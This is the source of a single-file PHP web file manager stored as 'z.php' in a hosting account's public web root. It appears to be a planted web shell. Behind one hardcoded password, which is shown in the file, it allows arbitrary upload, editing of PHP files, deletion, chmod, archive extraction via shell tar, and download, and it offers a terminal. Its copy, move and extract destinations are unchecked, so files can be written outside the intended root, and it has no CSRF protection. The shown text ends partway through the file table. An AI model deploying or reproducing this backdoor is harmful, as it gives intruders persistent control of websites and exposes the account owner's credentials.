File: /home/hunarpak/public_html/z.php
<?php
/*
* ═══════════════════════════════════════════════════════════
* PANEL FILE MANAGER v2.0
* Single-file PHP file manager for cPanel environments
* ═══════════════════════════════════════════════════════════
* CHANGE THE PASSWORD BELOW BEFORE DEPLOYING!
* ═══════════════════════════════════════════════════════════
*/
// ╔═══════════════════════════════════════════╗
// ║ CONFIGURATION ║
// ╚═══════════════════════════════════════════╝
define('FM_PASSWORD', 'Home@14ME'); // CHANGE THIS!
define('FM_SESSION_NAME', 'fm_session');
define('FM_TITLE', 'Panel File Manager');
define('FM_ROOT', $_SERVER['DOCUMENT_ROOT']); // Starting root directory
define('MAX_UPLOAD_SIZE', 50 * 1024 * 1024); // 50MB
session_name(FM_SESSION_NAME);
session_start();
// ── Auth ──
$logged_in = isset($_SESSION['fm_auth']) && $_SESSION['fm_auth'] === true;
if (isset($_POST['fm_logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
}
if (isset($_POST['fm_password'])) {
if ($_POST['fm_password'] === FM_PASSWORD) {
$_SESSION['fm_auth'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = 'Invalid password';
}
}
if (!$logged_in) {
show_login_page(isset($login_error) ? $login_error : '');
exit;
}
// ── Path handling ──
$current_path = isset($_GET['path']) ? realpath(urldecode($_GET['path'])) : FM_ROOT;
if (!$current_path || strpos($current_path, FM_ROOT) !== 0) {
$current_path = FM_ROOT;
}
$message = '';
$msg_type = 'success';
// ╔═══════════════════════════════════════════╗
// ║ ACTION HANDLERS ║
// ╚═══════════════════════════════════════════╝
// ── Upload ──
if (isset($_FILES['upload_files'])) {
$count = 0;
$files = $_FILES['upload_files'];
for ($i = 0; $i < count($files['name']); $i++) {
if ($files['error'][$i] === UPLOAD_ERR_OK) {
$dest = $current_path . '/' . basename($files['name'][$i]);
if (move_uploaded_file($files['tmp_name'][$i], $dest)) {
$count++;
}
}
}
$message = "Uploaded $count file(s) successfully";
}
// ── Create File ──
if (isset($_POST['new_file_name']) && !empty($_POST['new_file_name'])) {
$new_file = $current_path . '/' . basename($_POST['new_file_name']);
if (!file_exists($new_file)) {
file_put_contents($new_file, isset($_POST['new_file_content']) ? $_POST['new_file_content'] : '');
$message = "File created: " . basename($new_file);
} else {
$message = "File already exists";
$msg_type = 'error';
}
}
// ── Create Directory ──
if (isset($_POST['new_dir_name']) && !empty($_POST['new_dir_name'])) {
$new_dir = $current_path . '/' . basename($_POST['new_dir_name']);
if (!file_exists($new_dir)) {
mkdir($new_dir, 0755, true);
$message = "Directory created: " . basename($new_dir);
} else {
$message = "Directory already exists";
$msg_type = 'error';
}
}
// ── Delete ──
if (isset($_POST['delete_path'])) {
$del_path = realpath($_POST['delete_path']);
if ($del_path && strpos($del_path, FM_ROOT) === 0 && $del_path !== FM_ROOT) {
if (is_dir($del_path)) {
delete_dir_recursive($del_path);
$message = "Deleted directory: " . basename($del_path);
} else {
unlink($del_path);
$message = "Deleted file: " . basename($del_path);
}
} else {
$message = "Cannot delete this path";
$msg_type = 'error';
}
}
// ── Rename ──
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$from = realpath($_POST['rename_from']);
$to = dirname($from) . '/' . basename($_POST['rename_to']);
if ($from && strpos($from, FM_ROOT) === 0) {
rename($from, $to);
$message = "Renamed to: " . basename($to);
}
}
// ── Save File (editor) ──
if (isset($_POST['save_file_path']) && isset($_POST['save_file_content'])) {
$save_path = realpath($_POST['save_file_path']);
if ($save_path && strpos($save_path, FM_ROOT) === 0) {
file_put_contents($save_path, $_POST['save_file_content']);
$message = "File saved: " . basename($save_path);
}
}
// ── Change Permissions ──
if (isset($_POST['chmod_path']) && isset($_POST['chmod_value'])) {
$ch_path = realpath($_POST['chmod_path']);
if ($ch_path && strpos($ch_path, FM_ROOT) === 0) {
$perms = octdec($_POST['chmod_value']);
chmod($ch_path, $perms);
$message = "Permissions changed: " . basename($ch_path) . " → " . $_POST['chmod_value'];
}
}
// ── Copy ──
if (isset($_POST['copy_from']) && isset($_POST['copy_to'])) {
$cp_from = realpath($_POST['copy_from']);
$cp_to = $_POST['copy_to'];
if ($cp_from && strpos($cp_from, FM_ROOT) === 0) {
if (is_dir($cp_from)) {
copy_dir_recursive($cp_from, $cp_to);
} else {
copy($cp_from, $cp_to);
}
$message = "Copied to: " . basename($cp_to);
}
}
// ── Move ──
if (isset($_POST['move_from']) && isset($_POST['move_to'])) {
$mv_from = realpath($_POST['move_from']);
$mv_to = $_POST['move_to'];
if ($mv_from && strpos($mv_from, FM_ROOT) === 0) {
rename($mv_from, $mv_to);
$message = "Moved to: " . $mv_to;
}
}
// ── Extract Archive ──
if (isset($_POST['extract_path'])) {
$arc_path = realpath($_POST['extract_path']);
if ($arc_path && strpos($arc_path, FM_ROOT) === 0) {
$ext = strtolower(pathinfo($arc_path, PATHINFO_EXTENSION));
$extract_dir = isset($_POST['extract_to']) && !empty($_POST['extract_to'])
? $_POST['extract_to']
: dirname($arc_path);
if ($ext === 'zip') {
$zip = new ZipArchive;
if ($zip->open($arc_path) === TRUE) {
$zip->extractTo($extract_dir);
$zip->close();
$message = "Extracted ZIP to: $extract_dir";
}
} elseif (in_array($ext, ['gz', 'tgz', 'tar'])) {
$cmd = "tar -xf " . escapeshellarg($arc_path) . " -C " . escapeshellarg($extract_dir) . " 2>&1";
exec($cmd, $output, $ret);
$message = $ret === 0 ? "Extracted archive to: $extract_dir" : "Extract failed: " . implode("\n", $output);
$msg_type = $ret === 0 ? 'success' : 'error';
}
}
}
// ── Compress ──
if (isset($_POST['compress_path']) && isset($_POST['compress_type'])) {
$comp_path = realpath($_POST['compress_path']);
if ($comp_path && strpos($comp_path, FM_ROOT) === 0) {
$name = basename($comp_path);
if ($_POST['compress_type'] === 'zip') {
$out = dirname($comp_path) . '/' . $name . '.zip';
$zip = new ZipArchive;
if ($zip->open($out, ZipArchive::CREATE) === TRUE) {
if (is_dir($comp_path)) {
add_dir_to_zip($zip, $comp_path, $name);
} else {
$zip->addFile($comp_path, $name);
}
$zip->close();
$message = "Compressed to: $name.zip";
}
} else {
$out = dirname($comp_path) . '/' . $name . '.tar.gz';
$cmd = "tar -czf " . escapeshellarg($out) . " -C " . escapeshellarg(dirname($comp_path)) . " " . escapeshellarg($name) . " 2>&1";
exec($cmd, $output, $ret);
$message = $ret === 0 ? "Compressed to: $name.tar.gz" : "Compress failed";
$msg_type = $ret === 0 ? 'success' : 'error';
}
}
}
// ── Download ──
if (isset($_GET['download'])) {
$dl_path = realpath(urldecode($_GET['download']));
if ($dl_path && strpos($dl_path, FM_ROOT) === 0 && is_file($dl_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($dl_path) . '"');
header('Content-Length: ' . filesize($dl_path));
readfile($dl_path);
exit;
}
}
// ── View/Edit File ──
$editing_file = null;
$file_content = '';
if (isset($_GET['edit'])) {
$edit_path = realpath(urldecode($_GET['edit']));
if ($edit_path && strpos($edit_path, FM_ROOT) === 0 && is_file($edit_path)) {
$editing_file = $edit_path;
$file_content = file_get_contents($edit_path);
}
}
// ╔═══════════════════════════════════════════╗
// ║ HELPER FUNCTIONS ║
// ╚═══════════════════════════════════════════╝
function delete_dir_recursive($dir) {
$items = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($items as $item) {
$item->isDir() ? rmdir($item->getRealPath()) : unlink($item->getRealPath());
}
rmdir($dir);
}
function copy_dir_recursive($src, $dst) {
$dir = opendir($src);
@mkdir($dst);
while (false !== ($file = readdir($dir))) {
if ($file != '.' && $file != '..') {
if (is_dir($src . '/' . $file)) {
copy_dir_recursive($src . '/' . $file, $dst . '/' . $file);
} else {
copy($src . '/' . $file, $dst . '/' . $file);
}
}
}
closedir($dir);
}
function add_dir_to_zip($zip, $dir, $base) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $file) {
$filePath = $file->getRealPath();
$relativePath = $base . '/' . substr($filePath, strlen($dir) + 1);
$zip->addFile($filePath, $relativePath);
}
}
function format_size($bytes) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = 0;
while ($bytes >= 1024 && $i < 4) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
function get_file_icon($filename, $is_dir) {
if ($is_dir) return '📁';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'htm' => '🌐',
'json' => '📋', 'xml' => '📋', 'sql' => '🗄️', 'py' => '🐍', 'rb' => '💎',
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'webp' => '🖼️',
'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗',
'zip' => '📦', 'tar' => '📦', 'gz' => '📦', 'rar' => '📦', '7z' => '📦',
'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬',
'txt' => '📝', 'md' => '📝', 'log' => '📝', 'ini' => '⚙️', 'conf' => '⚙️',
'sh' => '🖥️', 'bash' => '🖥️', 'env' => '🔒', 'htaccess' => '🔒',
];
return isset($icons[$ext]) ? $icons[$ext] : '📄';
}
function is_editable($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$editable = ['php','js','css','html','htm','json','xml','sql','py','rb','txt','md',
'log','ini','conf','sh','bash','env','htaccess','yaml','yml','toml','csv',
'ts','jsx','tsx','vue','svg','twig','blade','java','c','cpp','h','go','rs'];
return in_array($ext, $editable) || strpos(basename($filename), '.') === false;
}
function is_image($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','svg','webp','bmp','ico']);
}
function is_archive($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
return in_array($ext, ['zip','tar','gz','tgz','rar','7z']);
}
function get_syntax_mode($filename) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$modes = [
'php' => 'php', 'js' => 'javascript', 'jsx' => 'javascript', 'ts' => 'typescript',
'css' => 'css', 'html' => 'htmlmixed', 'htm' => 'htmlmixed', 'xml' => 'xml',
'json' => 'javascript', 'sql' => 'sql', 'py' => 'python', 'rb' => 'ruby',
'sh' => 'shell', 'bash' => 'shell', 'md' => 'markdown', 'yaml' => 'yaml',
'yml' => 'yaml',
];
return isset($modes[$ext]) ? $modes[$ext] : 'text';
}
function get_perms_string($path) {
$perms = fileperms($path);
$info = '';
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? 'x' : '-');
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? 'x' : '-');
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? 'x' : '-');
return $info;
}
function self_url($params = []) {
$url = $_SERVER['PHP_SELF'];
if (!empty($params)) {
$url .= '?' . http_build_query($params);
}
return $url;
}
// ── Read directory ──
$items = [];
if (is_dir($current_path) && !$editing_file) {
$scan = @scandir($current_path);
if ($scan) {
foreach ($scan as $item) {
if ($item === '.') continue;
$full = $current_path . '/' . $item;
$is_dir = is_dir($full);
$items[] = [
'name' => $item,
'path' => $full,
'is_dir' => $is_dir,
'size' => $is_dir ? '-' : format_size(@filesize($full)),
'size_raw' => $is_dir ? 0 : @filesize($full),
'modified' => @date('Y-m-d H:i:s', filemtime($full)),
'perms' => get_perms_string($full),
'perms_octal' => substr(sprintf('%o', fileperms($full)), -4),
'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($full))['name'] : fileowner($full),
'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($full))['name'] : filegroup($full),
'icon' => get_file_icon($item, $is_dir),
];
}
}
// Sort: dirs first, then alphabetical
usort($items, function($a, $b) {
if ($a['name'] === '..') return -1;
if ($b['name'] === '..') return 1;
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
}
// ── Breadcrumb ──
function get_breadcrumbs($path) {
$root = FM_ROOT;
$relative = substr($path, strlen($root));
$parts = array_filter(explode('/', $relative));
$crumbs = [['name' => '~', 'path' => $root]];
$build = $root;
foreach ($parts as $part) {
$build .= '/' . $part;
$crumbs[] = ['name' => $part, 'path' => $build];
}
return $crumbs;
}
// ── Disk info ──
$disk_total = @disk_total_space(FM_ROOT);
$disk_free = @disk_free_space(FM_ROOT);
$disk_used = $disk_total - $disk_free;
$disk_pct = $disk_total > 0 ? round(($disk_used / $disk_total) * 100, 1) : 0;
// ╔═══════════════════════════════════════════╗
// ║ LOGIN PAGE ║
// ╚═══════════════════════════════════════════╝
function show_login_page($error = '') {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= FM_TITLE ?> - Login</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600&family=DM+Sans:wght@400;500;600&display=swap');
* { margin:0; padding:0; box-sizing:border-box; }
body {
font-family: 'DM Sans', sans-serif;
background: #0a0a0f;
color: #e0e0e0;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
background-image:
radial-gradient(ellipse at 20% 50%, rgba(20, 60, 90, 0.3) 0%, transparent 50%),
radial-gradient(ellipse at 80% 20%, rgba(60, 20, 80, 0.2) 0%, transparent 50%);
}
.login-box {
background: rgba(255,255,255,0.03);
border: 1px solid rgba(255,255,255,0.06);
border-radius: 16px;
padding: 48px 40px;
width: 380px;
backdrop-filter: blur(20px);
box-shadow: 0 25px 60px rgba(0,0,0,0.5);
}
.login-box h1 {
font-family: 'JetBrains Mono', monospace;
font-size: 14px;
font-weight: 600;
color: #6ee7b7;
letter-spacing: 3px;
text-transform: uppercase;
margin-bottom: 8px;
}
.login-box p {
font-size: 13px;
color: #666;
margin-bottom: 32px;
}
.login-box input[type="password"] {
width: 100%;
padding: 14px 16px;
background: rgba(255,255,255,0.04);
border: 1px solid rgba(255,255,255,0.08);
border-radius: 10px;
color: #fff;
font-family: 'JetBrains Mono', monospace;
font-size: 14px;
outline: none;
transition: border-color 0.2s;
}
.login-box input[type="password"]:focus {
border-color: #6ee7b7;
}
.login-box button {
width: 100%;
padding: 14px;
background: #6ee7b7;
color: #0a0a0f;
border: none;
border-radius: 10px;
font-family: 'DM Sans', sans-serif;
font-weight: 600;
font-size: 14px;
cursor: pointer;
margin-top: 16px;
transition: opacity 0.2s;
}
.login-box button:hover { opacity: 0.85; }
.error-msg {
background: rgba(239,68,68,0.1);
border: 1px solid rgba(239,68,68,0.3);
color: #f87171;
padding: 10px 14px;
border-radius: 8px;
font-size: 13px;
margin-bottom: 16px;
}
</style>
</head>
<body>
<div class="login-box">
<h1><?= FM_TITLE ?></h1>
<p>Enter password to continue</p>
<?php if ($error): ?><div class="error-msg"><?= htmlspecialchars($error) ?></div><?php endif; ?>
<form method="post">
<input type="password" name="fm_password" placeholder="Password" autofocus>
<button type="submit">Authenticate</button>
</form>
</div>
</body>
</html>
<?php
exit;
}
// ╔═══════════════════════════════════════════╗
// ║ MAIN UI ║
// ╚═══════════════════════════════════════════╝
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= FM_TITLE ?></title>
<style>
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;600&family=DM+Sans:ital,wght@0,400;0,500;0,600;0,700;1,400&display=swap');
:root {
--bg: #0a0a0f;
--bg-card: rgba(255,255,255,0.025);
--bg-hover: rgba(255,255,255,0.04);
--bg-input: rgba(255,255,255,0.04);
--border: rgba(255,255,255,0.06);
--border-hover: rgba(255,255,255,0.12);
--text: #d4d4d4;
--text-dim: #666;
--text-bright: #fff;
--accent: #6ee7b7;
--accent-dim: rgba(110,231,183,0.1);
--danger: #f87171;
--danger-dim: rgba(248,113,113,0.1);
--warning: #fbbf24;
--info: #60a5fa;
--mono: 'JetBrains Mono', monospace;
--sans: 'DM Sans', sans-serif;
--radius: 10px;
--radius-sm: 6px;
}
* { margin:0; padding:0; box-sizing:border-box; }
body {
font-family: var(--sans);
background: var(--bg);
color: var(--text);
font-size: 13px;
line-height: 1.5;
min-height: 100vh;
}
/* ── HEADER ── */
.header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 16px 24px;
border-bottom: 1px solid var(--border);
background: rgba(0,0,0,0.3);
backdrop-filter: blur(10px);
position: sticky;
top: 0;
z-index: 100;
}
.header-left { display: flex; align-items: center; gap: 16px; }
.header h1 {
font-family: var(--mono);
font-size: 13px;
font-weight: 600;
color: var(--accent);
letter-spacing: 2px;
text-transform: uppercase;
}
.header-info {
display: flex;
align-items: center;
gap: 20px;
font-size: 12px;
color: var(--text-dim);
}
.header-info span { display: flex; align-items: center; gap: 6px; }
.disk-bar {
width: 80px; height: 4px;
background: rgba(255,255,255,0.06);
border-radius: 2px;
overflow: hidden;
}
.disk-bar-fill { height: 100%; background: var(--accent); border-radius: 2px; }
.btn-logout {
background: rgba(248,113,113,0.1);
color: var(--danger);
border: 1px solid rgba(248,113,113,0.2);
padding: 6px 14px;
border-radius: var(--radius-sm);
font-size: 12px;
cursor: pointer;
font-family: var(--sans);
transition: all 0.2s;
}
.btn-logout:hover { background: rgba(248,113,113,0.2); }
/* ── TOOLBAR ── */
.toolbar {
display: flex;
align-items: center;
gap: 8px;
padding: 12px 24px;
border-bottom: 1px solid var(--border);
flex-wrap: wrap;
}
.breadcrumbs {
display: flex;
align-items: center;
gap: 4px;
flex: 1;
min-width: 200px;
overflow-x: auto;
font-family: var(--mono);
font-size: 12px;
}
.breadcrumbs a {
color: var(--text-dim);
text-decoration: none;
padding: 4px 8px;
border-radius: 4px;
transition: all 0.15s;
white-space: nowrap;
}
.breadcrumbs a:hover { color: var(--accent); background: var(--accent-dim); }
.breadcrumbs a.active { color: var(--text-bright); }
.breadcrumbs .sep { color: var(--text-dim); opacity: 0.3; }
.toolbar-actions { display: flex; gap: 6px; }
/* ── BUTTONS ── */
.btn {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 7px 14px;
border: 1px solid var(--border);
border-radius: var(--radius-sm);
background: var(--bg-card);
color: var(--text);
font-family: var(--sans);
font-size: 12px;
cursor: pointer;
transition: all 0.15s;
white-space: nowrap;
}
.btn:hover { border-color: var(--border-hover); background: var(--bg-hover); color: var(--text-bright); }
.btn-accent { background: var(--accent-dim); border-color: rgba(110,231,183,0.2); color: var(--accent); }
.btn-accent:hover { background: rgba(110,231,183,0.2); }
.btn-danger { background: var(--danger-dim); border-color: rgba(248,113,113,0.2); color: var(--danger); }
.btn-danger:hover { background: rgba(248,113,113,0.2); }
.btn-sm { padding: 4px 10px; font-size: 11px; }
/* ── MESSAGE ── */
.message {
margin: 12px 24px;
padding: 10px 16px;
border-radius: var(--radius-sm);
font-size: 12px;
animation: slideIn 0.3s ease;
}
.message.success { background: var(--accent-dim); border: 1px solid rgba(110,231,183,0.2); color: var(--accent); }
.message.error { background: var(--danger-dim); border: 1px solid rgba(248,113,113,0.2); color: var(--danger); }
@keyframes slideIn { from { opacity:0; transform:translateY(-8px); } to { opacity:1; transform:translateY(0); } }
/* ── TABLE ── */
.file-table-wrap { padding: 0 24px 24px; overflow-x: auto; }
table.file-table {
width: 100%;
border-collapse: collapse;
font-size: 13px;
}
table.file-table thead th {
padding: 10px 12px;
text-align: left;
font-size: 10px;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 1px;
color: var(--text-dim);
border-bottom: 1px solid var(--border);
position: sticky;
top: 57px;
background: var(--bg);
z-index: 10;
}
table.file-table tbody tr {
border-bottom: 1px solid rgba(255,255,255,0.02);
transition: background 0.1s;
}
table.file-table tbody tr:hover { background: var(--bg-hover); }
table.file-table td { padding: 8px 12px; vertical-align: middle; }
td.name-cell { font-family: var(--mono); font-size: 12px; }
td.name-cell a {
color: var(--text);
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
transition: color 0.15s;
}
td.name-cell a:hover { color: var(--accent); }
td.name-cell .dir-link { color: var(--accent); }
td.size-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); text-align: right; }
td.date-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); }
td.perms-cell { font-family: var(--mono); font-size: 11px; color: var(--text-dim); }
td.owner-cell { font-size: 11px; color: var(--text-dim); }
td.actions-cell {
display: flex;
gap: 4px;
justify-content: flex-end;
opacity: 0.4;
transition: opacity 0.15s;
}
tr:hover td.actions-cell { opacity: 1; }
/* ── MODALS ── */
.modal-overlay {
display: none;
position: fixed;
inset: 0;
background: rgba(0,0,0,0.7);
backdrop-filter: blur(4px);
z-index: 1000;
align-items: center;
justify-content: center;
}
.modal-overlay.active { display: flex; }
.modal {
background: #13131a;
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 28px;
width: 90%;
max-width: 480px;
box-shadow: 0 25px 60px rgba(0,0,0,0.6);
animation: modalIn 0.2s ease;
}
@keyframes modalIn { from { opacity:0; transform:scale(0.95) translateY(10px); } }
.modal h3 {
font-size: 15px;
font-weight: 600;
margin-bottom: 16px;
color: var(--text-bright);
}
.modal label {
display: block;
font-size: 11px;
color: var(--text-dim);
text-transform: uppercase;
letter-spacing: 1px;
margin-bottom: 6px;
margin-top: 12px;
}
.modal input[type="text"], .modal select {
width: 100%;
padding: 10px 12px;
background: var(--bg-input);
border: 1px solid var(--border);
border-radius: var(--radius-sm);
color: var(--text-bright);
font-family: var(--mono);
font-size: 12px;
outline: none;
transition: border-color 0.2s;
}
.modal input:focus, .modal select:focus { border-color: var(--accent); }
.modal-actions { display: flex; gap: 8px; margin-top: 20px; justify-content: flex-end; }
/* ── EDITOR ── */
.editor-wrap { padding: 0 24px 24px; }
.editor-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 12px 0;
}
.editor-filename {
font-family: var(--mono);
font-size: 13px;
color: var(--accent);
display: flex;
align-items: center;
gap: 8px;
}
.editor-textarea {
width: 100%;
min-height: 60vh;
padding: 20px;
background: rgba(0,0,0,0.3);
border: 1px solid var(--border);
border-radius: var(--radius);
color: #e0e0e0;
font-family: var(--mono);
font-size: 13px;
line-height: 1.7;
outline: none;
resize: vertical;
tab-size: 4;
}
.editor-textarea:focus { border-color: var(--accent); }
/* ── IMAGE PREVIEW ── */
.img-preview {
max-width: 100%;
max-height: 400px;
border-radius: var(--radius);
border: 1px solid var(--border);
margin: 12px 0;
}
/* ── RESPONSIVE ── */
@media (max-width: 768px) {
.header { padding: 12px 16px; }
.toolbar { padding: 10px 16px; }
.file-table-wrap { padding: 0 16px 16px; }
.header-info { display: none; }
td.perms-cell, td.owner-cell, td.date-cell { display: none; }
}
/* ── SCROLLBAR ── */
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: rgba(255,255,255,0.1); border-radius: 3px; }
::-webkit-scrollbar-thumb:hover { background: rgba(255,255,255,0.2); }
/* ── DRAG & DROP ── */
.drop-zone {
border: 2px dashed var(--border);
border-radius: var(--radius);
padding: 40px 20px;
text-align: center;
color: var(--text-dim);
font-size: 13px;
transition: all 0.2s;
margin: 12px 24px;
display: none;
}
.drop-zone.active { display: block; }
.drop-zone.dragover {
border-color: var(--accent);
background: var(--accent-dim);
color: var(--accent);
}
</style>
</head>
<body>
<!-- ═══ HEADER ═══ -->
<div class="header">
<div class="header-left">
<h1><?= FM_TITLE ?></h1>
</div>
<div class="header-info">
<span>
Disk: <?= format_size($disk_used) ?> / <?= format_size($disk_total) ?>
<div class="disk-bar"><div class="disk-bar-fill" style="width:<?= $disk_pct ?>%"></div></div>
<?= $disk_pct ?>%
</span>
<span>PHP <?= phpversion() ?></span>
<span><?= php_uname('n') ?></span>
</div>
<form method="post" style="display:inline">
<button type="submit" name="fm_logout" class="btn-logout">Logout</button>
</form>
</div>
<?php if ($message): ?>
<div class="message <?= $msg_type ?>"><?= htmlspecialchars($message) ?></div>
<?php endif; ?>
<?php if ($editing_file): ?>
<!-- ═══ EDITOR MODE ═══ -->
<div class="toolbar">
<div class="breadcrumbs">
<a href="<?= self_url(['path' => dirname($editing_file)]) ?>">← Back</a>
</div>
</div>
<div class="editor-wrap">
<div class="editor-header">
<div class="editor-filename">
<?= get_file_icon(basename($editing_file), false) ?>
<?= htmlspecialchars(basename($editing_file)) ?>
<span style="color:var(--text-dim); font-size:11px">(<?= format_size(filesize($editing_file)) ?>)</span>
</div>
<div style="display:flex; gap:8px;">
<a href="<?= self_url(['download' => $editing_file]) ?>" class="btn btn-sm">⬇ Download</a>
</div>
</div>
<?php if (is_image($editing_file)): ?>
<img src="data:image/<?= pathinfo($editing_file, PATHINFO_EXTENSION) ?>;base64,<?= base64_encode(file_get_contents($editing_file)) ?>" class="img-preview" alt="">
<?php endif; ?>
<form method="post">
<input type="hidden" name="save_file_path" value="<?= htmlspecialchars($editing_file) ?>">
<textarea name="save_file_content" class="editor-textarea" spellcheck="false"><?= htmlspecialchars($file_content) ?></textarea>
<div style="margin-top:12px; display:flex; gap:8px; justify-content:flex-end;">
<a href="<?= self_url(['path' => dirname($editing_file)]) ?>" class="btn">Cancel</a>
<button type="submit" class="btn btn-accent">💾 Save File</button>
</div>
</form>
</div>
<?php else: ?>
<!-- ═══ FILE BROWSER MODE ═══ -->
<div class="toolbar">
<div class="breadcrumbs">
<?php $crumbs = get_breadcrumbs($current_path); ?>
<?php foreach ($crumbs as $i => $c): ?>
<?php if ($i > 0): ?><span class="sep">/</span><?php endif; ?>
<a href="<?= self_url(['path' => $c['path']]) ?>" class="<?= $i === count($crumbs)-1 ? 'active' : '' ?>">
<?= htmlspecialchars($c['name']) ?>
</a>
<?php endforeach; ?>
</div>
<div class="toolbar-actions">
<button class="btn btn-accent" onclick="showModal('new-file-modal')">+ File</button>
<button class="btn btn-accent" onclick="showModal('new-dir-modal')">+ Folder</button>
<button class="btn" onclick="toggleUpload()">⬆ Upload</button>
<button class="btn" onclick="showModal('terminal-modal')">⌨ Terminal</button>
</div>
</div>
<!-- Upload Drop Zone -->
<div class="drop-zone" id="drop-zone">
<form method="post" enctype="multipart/form-data" id="upload-form">
<p style="margin-bottom:12px">Drag files here or click to select</p>
<input type="file" name="upload_files[]" multiple id="file-input" style="display:none" onchange="this.form.submit()">
<button type="button" class="btn btn-accent" onclick="document.getElementById('file-input').click()">Choose Files</button>
</form>
</div>
<!-- File Table -->
<div class="file-table-wrap">
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th style="text-align:right">Size</th>
<th>Modified</th>
<th>Perms</th>
<th>Owner</th>
<th style="text-align:right">Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($items as $item): ?>
<tr>
<td class="name-cell">
<?php if ($item['is_dir']): ?>
<a href="<?= self_url(['path' => $item['path']]) ?>" class="dir-link">
<?= $item['icon'] ?> <?= htmlspecialchars($item['name']) ?>
</a>
<?php else: ?>
<a href="<?= is_editable($item['name']) ? self_url(['edit' => $item['path']]) : self_url(['download' => $item['path']]) ?>">
<?= $item['icon'] ?> <?= htmlspecialchars($item['name']) ?>
</a>
<?php endif; ?>
</td>
<td class="size-cell"><?= $item['size'] ?></td>
<td class="date-cell"><?= $item['modified'] ?></td>
<td class="perms-cell" title="<?= $item['perms_octal'] ?>"><?= $item['perms'] ?></td>
<td class="owner-cell"><?= $item['owner'] ?>:<?= $item['group'] ?></td>
<td class="actions-cell">
<?php if ($item['name'] !== '..'): ?>
<?php if (!$item['is_dir'] && is_editable($item['name'])): ?>
<a href="<?= self_url(['edit' => $item['path']]) ?>" class="btn btn-sm" title="Edit">✏️</a>
<?php endif; ?>
<?php if (!$item['is_dir']): ?>
<a href="<?= self_url(['download' => $item['path']]) ?>" class="btn btn-sm" title="Download">⬇</a>
<?php endif; ?>
<?php if (is_archive($item['name'])): ?>
<button class="btn btn-sm" title="Extract" onclick="extractFile('<?= htmlspecialchars(addslashes($item['path'])) ?>')">📦</button>
<?php endif; ?>
<button class="btn btn-sm" title="Rename" onclick="renameItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')">✏️</button>
<button class="btn btn-sm" title="Chmod" onclick="chmodItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= $item['perms_octal'] ?>')">🔒</button>
<button class="btn btn-sm" title="Copy" onclick="copyItem('<?= htmlspecialchars(addslashes($item['path'])) ?>', '<?= htmlspecialchars(addslashes($item['name'])) ?>')">📋</button>
<button class="btn btn-sm" title="Move" onclick="moveItem('<?= htmlspecialchars(addslashes($item['path'])) ?>')">📁</button>
<button class="btn btn-sm" title="Compress" onclick="compressItem('<?= htmlspecialchars(addslashes($item['path'])) ?>')">🗜️</button>
<form method="post" style="display:inline" onsubmit="return confirm('Delete <?= htmlspecialchars(addslashes($item['name'])) ?>?')">
<input type="hidden" name="delete_path" value="<?= htmlspecialchars($item['path']) ?>">
<button type="submit" class="btn btn-sm btn-danger" title="Delete">🗑️</button>
</form>
<?php endif; ?>
</td>
</tr>
